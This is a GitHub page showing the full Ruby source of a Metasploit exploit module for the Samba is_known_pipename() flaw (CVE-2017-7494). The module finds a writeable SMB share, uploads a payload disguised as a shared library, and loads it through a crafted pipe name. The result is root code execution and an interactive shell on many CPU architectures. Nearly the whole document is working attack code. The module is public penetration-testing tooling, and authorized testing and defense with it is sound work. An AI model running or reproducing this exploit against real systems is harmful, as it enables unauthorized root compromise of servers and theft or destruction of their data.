Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
489 lines (404 sloc)
14.7 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# This module requires Metasploit: https://metasploit.com/download | |
# Current source: https://github.com/rapid7/metasploit-framework | |
## | |
class MetasploitModule < Msf::Exploit::Remote | |
Rank = ExcellentRanking | |
include Msf::Exploit::Remote::DCERPC | |
include Msf::Exploit::Remote::SMB::Client | |
def initialize(info = {}) | |
super(update_info(info, | |
'Name' => 'Samba is_known_pipename() Arbitrary Module Load', | |
'Description' => %q{ | |
This module triggers an arbitrary shared library load vulnerability | |
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module | |
requires valid credentials, a writeable folder in an accessible share, | |
and knowledge of the server-side path of the writeable folder. In | |
some cases, anonymous access combined with common filesystem locations | |
can be used to automatically exploit this vulnerability. | |
}, | |
'Author' => | |
[ | |
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery & Python Exploit | |
'hdm', # Metasploit Module | |
'bcoles', # Check logic | |
], | |
'License' => MSF_LICENSE, | |
'References' => | |
[ | |
[ 'CVE', '2017-7494' ], | |
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ], | |
], | |
'Payload' => | |
{ | |
'Space' => 9000, | |
'DisableNops' => true | |
}, | |
'Platform' => 'linux', | |
'Targets' => | |
[ | |
[ 'Automatic (Interact)', | |
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'Interact' => true, | |
'Payload' => { | |
'Compat' => { | |
'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find' | |
} | |
} | |
} | |
], | |
[ 'Automatic (Command)', | |
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } | |
], | |
[ 'Linux x86', { 'Arch' => ARCH_X86 } ], | |
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], | |
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], | |
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ], | |
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ], | |
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ], | |
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ], | |
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ], | |
[ 'Linux PPC', { 'Arch' => ARCH_PPC } ], | |
[ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ], | |
[ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ], | |
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ], | |
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ], | |
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ], | |
], | |
'DefaultOptions' => | |
{ | |
'DCERPC::fake_bind_multi' => false, | |
'SHELL' => '/bin/sh', | |
}, | |
'Privileged' => true, | |
'DisclosureDate' => '2017-03-24', | |
'DefaultTarget' => 0)) | |
register_options( | |
[ | |
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), | |
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), | |
]) | |
end | |
def post_auth? | |
true | |
end | |
# Setup our mapping of Metasploit architectures to gcc architectures | |
def setup | |
super | |
@@payload_arch_mappings = { | |
ARCH_X86 => [ 'x86' ], | |
ARCH_X64 => [ 'x86_64' ], | |
ARCH_MIPS => [ 'mips' ], | |
ARCH_MIPSLE => [ 'mipsel' ], | |
ARCH_MIPSBE => [ 'mips' ], | |
ARCH_MIPS64 => [ 'mips64' ], | |
ARCH_MIPS64LE => [ 'mips64el' ], | |
ARCH_PPC => [ 'powerpc' ], | |
ARCH_PPC64 => [ 'powerpc64' ], | |
ARCH_PPC64LE => [ 'powerpc64le' ], | |
ARCH_SPARC => [ 'sparc' ], | |
ARCH_SPARC64 => [ 'sparc64' ], | |
ARCH_ARMLE => [ 'armel', 'armhf' ], | |
ARCH_AARCH64 => [ 'aarch64' ], | |
ARCH_ZARCH => [ 's390x' ], | |
} | |
# Architectures we don't offically support but can shell anyways with interact | |
@@payload_arch_bonus = %W{ | |
mips64el sparc64 s390x | |
} | |
# General platforms (OS + C library) | |
@@payload_platforms = %W{ | |
linux-glibc | |
} | |
end | |
# List all top-level directories within a given share | |
def enumerate_directories(share) | |
begin | |
vprint_status('Use Rex client (SMB1 only) to enumerate directories, since it is not compatible with RubySMB client') | |
connect(versions: [1]) | |
smb_login | |
self.simple.connect("\\\\#{rhost}\\#{share}") | |
stuff = self.simple.client.find_first("\\*") | |
directories = [""] | |
stuff.each_pair do |entry,entry_attr| | |
next if %W{. ..}.include?(entry) | |
next unless entry_attr['type'] == 'D' | |
directories << entry | |
end | |
return directories | |
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e | |
vprint_error("Enum #{share}: #{e}") | |
return nil | |
ensure | |
simple.disconnect("\\\\#{rhost}\\#{share}") | |
smb_connect | |
end | |
end | |
# Determine whether a directory in a share is writeable | |
def verify_writeable_directory(share, directory="") | |
begin | |
simple.connect("\\\\#{rhost}\\#{share}") | |
random_filename = Rex::Text.rand_text_alpha(5)+".txt" | |
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" | |
wfd = simple.open(filename, 'rwct') | |
wfd << Rex::Text.rand_text_alpha(8) | |
wfd.close | |
simple.delete(filename) | |
return true | |
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e | |
vprint_error("Write #{share}#{filename}: #{e}") | |
return false | |
ensure | |
simple.disconnect("\\\\#{rhost}\\#{share}") | |
end | |
end | |
# Call NetShareGetInfo to retrieve the server-side path | |
def find_share_path | |
share_info = smb_netsharegetinfo(@share) | |
share_info[:path].gsub("\\", "/").sub(/^.*:/, '') | |
end | |
# Crawl top-level directories and test for writeable | |
def find_writeable_path(share) | |
subdirs = enumerate_directories(share) | |
return unless subdirs | |
if datastore['SMB_FOLDER'].to_s.length > 0 | |
subdirs.unshift(datastore['SMB_FOLDER']) | |
end | |
subdirs.each do |subdir| | |
next unless verify_writeable_directory(share, subdir) | |
return subdir | |
end | |
nil | |
end | |
# Locate a writeable directory across identified shares | |
def find_writeable_share_path | |
@path = nil | |
share_info = smb_netshareenumall | |
if datastore['SMB_SHARE_NAME'].to_s.length > 0 | |
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] | |
end | |
share_info.each do |share| | |
next if share.first.upcase == 'IPC$' | |
found = find_writeable_path(share.first) | |
next unless found | |
@share = share.first | |
@path = found | |
break | |
end | |
end | |
# Locate a writeable share | |
def find_writeable | |
find_writeable_share_path | |
unless @share && @path | |
print_error("No suitable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER") | |
fail_with(Failure::NoTarget, "No matching target") | |
end | |
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") | |
end | |
# Store the wrapped payload into the writeable share | |
def upload_payload(wrapped_payload) | |
begin | |
self.simple.connect("\\\\#{rhost}\\#{@share}") | |
random_filename = Rex::Text.rand_text_alpha(8)+".so" | |
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" | |
wfd = simple.open(filename, 'rwct') | |
wfd << wrapped_payload | |
wfd.close | |
@payload_name = random_filename | |
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e | |
print_error("Write #{@share}#{filename}: #{e}") | |
return false | |
ensure | |
simple.disconnect("\\\\#{rhost}\\#{@share}") | |
end | |
print_status("Uploaded payload to \\\\#{rhost}\\#{@share}#{filename}") | |
return true | |
end | |
# Try both pipe open formats in order to load the uploaded shared library | |
def trigger_payload | |
target = [@share_path, @path, @payload_name].join("/").gsub(/\/+/, '/') | |
[ | |
"\\\\PIPE\\" + target, | |
target | |
].each do |tpath| | |
print_status("Loading the payload from server-side path #{target} using #{tpath}...") | |
smb_connect | |
# Try to execute the shared library from the share | |
begin | |
simple.client.create_pipe(tpath) | |
probe_module_path(tpath) | |
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError | |
# Common errors we can safely ignore | |
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e | |
# Look for STATUS_OBJECT_PATH_INVALID indicating our interact payload loaded | |
if e.error_code == 0xc0000039 | |
pwn | |
return true | |
else | |
print_error(" >> Failed to load #{e.error_name}") | |
end | |
rescue RubySMB::Error::UnexpectedStatusCode, RubySMB::Error::InvalidPacket => e | |
if e.status_code == ::WindowsError::NTStatus::STATUS_OBJECT_PATH_INVALID | |
pwn | |
return true | |
else | |
print_error(" >> Failed to load #{e.status_code.name}") | |
end | |
end | |
disconnect | |
end | |
false | |
end | |
def pwn | |
print_good("Probe response indicates the interactive payload was loaded...") | |
smb_shell = self.sock | |
self.sock = nil | |
remove_socket(sock) | |
handler(smb_shell) | |
end | |
# Use fancy payload wrappers to make exploitation a joyously lazy exercise | |
def cycle_possible_payloads | |
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-7494") | |
template_list = [] | |
template_type = nil | |
template_arch = nil | |
# Handle the generic command types first | |
if target.arch.include?(ARCH_CMD) | |
template_type = target['Interact'] ? 'findsock' : 'system' | |
all_architectures = @@payload_arch_mappings.values.flatten.uniq | |
# Include our bonus architectures for the interact payload | |
if target['Interact'] | |
@@payload_arch_bonus.each do |t_arch| | |
all_architectures << t_arch | |
end | |
end | |
# Prioritize the most common architectures first | |
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch| | |
template_list << all_architectures.delete(t_arch) | |
end | |
# Queue up the rest for later | |
all_architectures.each do |t_arch| | |
template_list << t_arch | |
end | |
# Handle the specific architecture targets next | |
else | |
template_type = 'shellcode' | |
target.arch.each do |t_name| | |
@@payload_arch_mappings[t_name].each do |t_arch| | |
template_list << t_arch | |
end | |
end | |
end | |
# Remove any duplicates that mau have snuck in | |
template_list.uniq! | |
# Cycle through each top-level platform we know about | |
@@payload_platforms.each do |t_plat| | |
# Cycle through each template and yield | |
template_list.each do |t_arch| | |
wrapper_path = ::File.join(template_base, "samba-root-#{template_type}-#{t_plat}-#{t_arch}.so.gz") | |
next unless ::File.exist?(wrapper_path) | |
data = '' | |
::File.open(wrapper_path, "rb") do |fd| | |
data = Rex::Text.ungzip(fd.read) | |
end | |
pidx = data.index('PAYLOAD') | |
if pidx | |
data[pidx, payload.encoded.length] = payload.encoded | |
end | |
vprint_status("Using payload wrapper 'samba-root-#{template_type}-#{t_arch}'...") | |
yield(data) | |
end | |
end | |
end | |
# Verify that the payload settings make sense | |
def sanity_check | |
if target['Interact'] && datastore['PAYLOAD'] != "cmd/unix/interact" | |
print_error("Error: The interactive target is chosen (0) but PAYLOAD is not set to cmd/unix/interact") | |
print_error(" Please set PAYLOAD to cmd/unix/interact and try this again") | |
print_error("") | |
fail_with(Failure::NoTarget, "Invalid payload chosen for the interactive target") | |
end | |
if ! target['Interact'] && datastore['PAYLOAD'] == "cmd/unix/interact" | |
print_error("Error: A non-interactive target is chosen but PAYLOAD is set to cmd/unix/interact") | |
print_error(" Please set a valid PAYLOAD and try this again") | |
print_error("") | |
fail_with(Failure::NoTarget, "Invalid payload chosen for the non-interactive target") | |
end | |
end | |
# Shorthand for connect and login | |
def smb_connect | |
connect | |
smb_login | |
end | |
# Start the shell train | |
def exploit | |
# Validate settings | |
sanity_check | |
# Setup SMB | |
smb_connect | |
# Find a writeable share | |
find_writeable | |
# Retrieve the server-side path of the share like a boss | |
print_status("Retrieving the remote path of the share '#{@share}'") | |
@share_path = find_share_path | |
print_status("Share '#{@share}' has server-side path '#{@share_path}") | |
# Disconnect | |
disconnect | |
# Create wrappers for each potential architecture | |
cycle_possible_payloads do |wrapped_payload| | |
# Connect, upload the shared library payload, disconnect | |
smb_connect | |
upload_payload(wrapped_payload) | |
disconnect | |
# Trigger the payload | |
early = trigger_payload | |
# Cleanup the payload | |
begin | |
smb_connect | |
simple.connect("\\\\#{rhost}\\#{@share}") | |
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" | |
simple.delete(uploaded_path) | |
disconnect | |
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply, ::Timeout::Error, ::EOFError | |
end | |
# Bail early if our interact payload loaded | |
return if early | |
end | |
end | |
# A version-based vulnerability check for Samba | |
def check | |
res = smb_fingerprint | |
unless res['native_lm'] =~ /Samba ([\d\.]+)/ | |
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}") | |
return CheckCode::Safe | |
end | |
samba_version = Rex::Version.new($1.gsub(/\.$/, '')) | |
vprint_status("Samba version identified as #{samba_version.to_s}") | |
if samba_version < Rex::Version.new('3.5.0') | |
return CheckCode::Safe | |
end | |
# Patched in 4.4.14 | |
if samba_version < Rex::Version.new('4.5.0') && | |
samba_version >= Rex::Version.new('4.4.14') | |
return CheckCode::Safe | |
end | |
# Patched in 4.5.10 | |
if samba_version > Rex::Version.new('4.5.0') && | |
samba_version < Rex::Version.new('4.6.0') && | |
samba_version >= Rex::Version.new('4.5.10') | |
return CheckCode::Safe | |
end | |
# Patched in 4.6.4 | |
if samba_version >= Rex::Version.new('4.6.4') | |
return CheckCode::Safe | |
end | |
smb_connect | |
find_writeable_share_path | |
disconnect | |
if @share.to_s.length == 0 | |
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified") | |
return CheckCode::Detected | |
end | |
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'") | |
return CheckCode::Appears | |
end | |
end |